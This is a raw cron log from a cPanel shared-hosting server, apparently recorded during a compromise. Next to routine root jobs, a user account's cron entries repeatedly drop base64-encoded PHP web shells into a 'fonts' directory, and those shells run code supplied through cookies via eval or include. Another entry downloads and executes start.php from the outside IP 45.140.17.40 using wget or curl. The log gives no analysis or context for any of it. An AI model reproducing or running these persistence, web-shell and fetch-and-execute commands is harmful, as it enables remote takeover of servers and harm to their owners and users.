Sep 21 06:04:01 ip-184-168-122-23 CROND[32264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:04:01 ip-184-168-122-23 CROND[32265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:04:01 ip-184-168-122-23 CROND[32263]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:04:01 ip-184-168-122-23 CROND[32266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:05:01 ip-184-168-122-23 CROND[32392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:05:01 ip-184-168-122-23 CROND[32393]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 06:05:01 ip-184-168-122-23 CROND[32396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:05:01 ip-184-168-122-23 CROND[32397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:05:01 ip-184-168-122-23 CROND[32399]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:05:01 ip-184-168-122-23 CROND[32398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:05:01 ip-184-168-122-23 CROND[32400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:06:01 ip-184-168-122-23 CROND[32532]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:06:01 ip-184-168-122-23 CROND[32533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:06:01 ip-184-168-122-23 CROND[32534]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:06:01 ip-184-168-122-23 CROND[32536]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:06:01 ip-184-168-122-23 CROND[32540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:07:01 ip-184-168-122-23 CROND[353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:07:01 ip-184-168-122-23 CROND[355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:07:01 ip-184-168-122-23 CROND[354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:07:01 ip-184-168-122-23 CROND[356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:08:01 ip-184-168-122-23 CROND[485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:08:01 ip-184-168-122-23 CROND[484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:08:01 ip-184-168-122-23 CROND[486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:08:01 ip-184-168-122-23 CROND[489]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:08:01 ip-184-168-122-23 CROND[491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:09:01 ip-184-168-122-23 CROND[641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:09:01 ip-184-168-122-23 CROND[643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:09:01 ip-184-168-122-23 CROND[644]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 06:09:01 ip-184-168-122-23 CROND[645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:09:01 ip-184-168-122-23 CROND[646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:10:01 ip-184-168-122-23 CROND[802]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:10:01 ip-184-168-122-23 CROND[803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:10:01 ip-184-168-122-23 CROND[805]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:10:01 ip-184-168-122-23 CROND[804]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 06:10:01 ip-184-168-122-23 CROND[806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:10:01 ip-184-168-122-23 CROND[808]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:10:01 ip-184-168-122-23 CROND[807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:10:01 ip-184-168-122-23 CROND[809]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:11:01 ip-184-168-122-23 CROND[986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:11:01 ip-184-168-122-23 CROND[987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:11:01 ip-184-168-122-23 CROND[989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:11:01 ip-184-168-122-23 CROND[991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:12:01 ip-184-168-122-23 CROND[1231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:12:01 ip-184-168-122-23 CROND[1230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:12:01 ip-184-168-122-23 CROND[1232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:12:01 ip-184-168-122-23 CROND[1236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:12:01 ip-184-168-122-23 CROND[1238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:13:01 ip-184-168-122-23 CROND[1499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:13:01 ip-184-168-122-23 CROND[1500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:13:01 ip-184-168-122-23 CROND[1505]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:13:01 ip-184-168-122-23 CROND[1506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:14:01 ip-184-168-122-23 CROND[1644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:14:01 ip-184-168-122-23 CROND[1646]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 06:14:01 ip-184-168-122-23 CROND[1648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:14:01 ip-184-168-122-23 CROND[1650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:14:01 ip-184-168-122-23 CROND[1651]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:15:01 ip-184-168-122-23 CROND[1789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 06:15:01 ip-184-168-122-23 CROND[1790]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 06:15:01 ip-184-168-122-23 CROND[1794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 06:15:01 ip-184-168-122-23 CROND[1796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 06:15:01 ip-184-168-122-23 CROND[1791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 06:15:01 ip-184-168-122-23 CROND[1793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 06:15:01 ip-184-168-122-23 CROND[1795]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 06:15:01 ip-184-168-122-23 CROND[1797]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
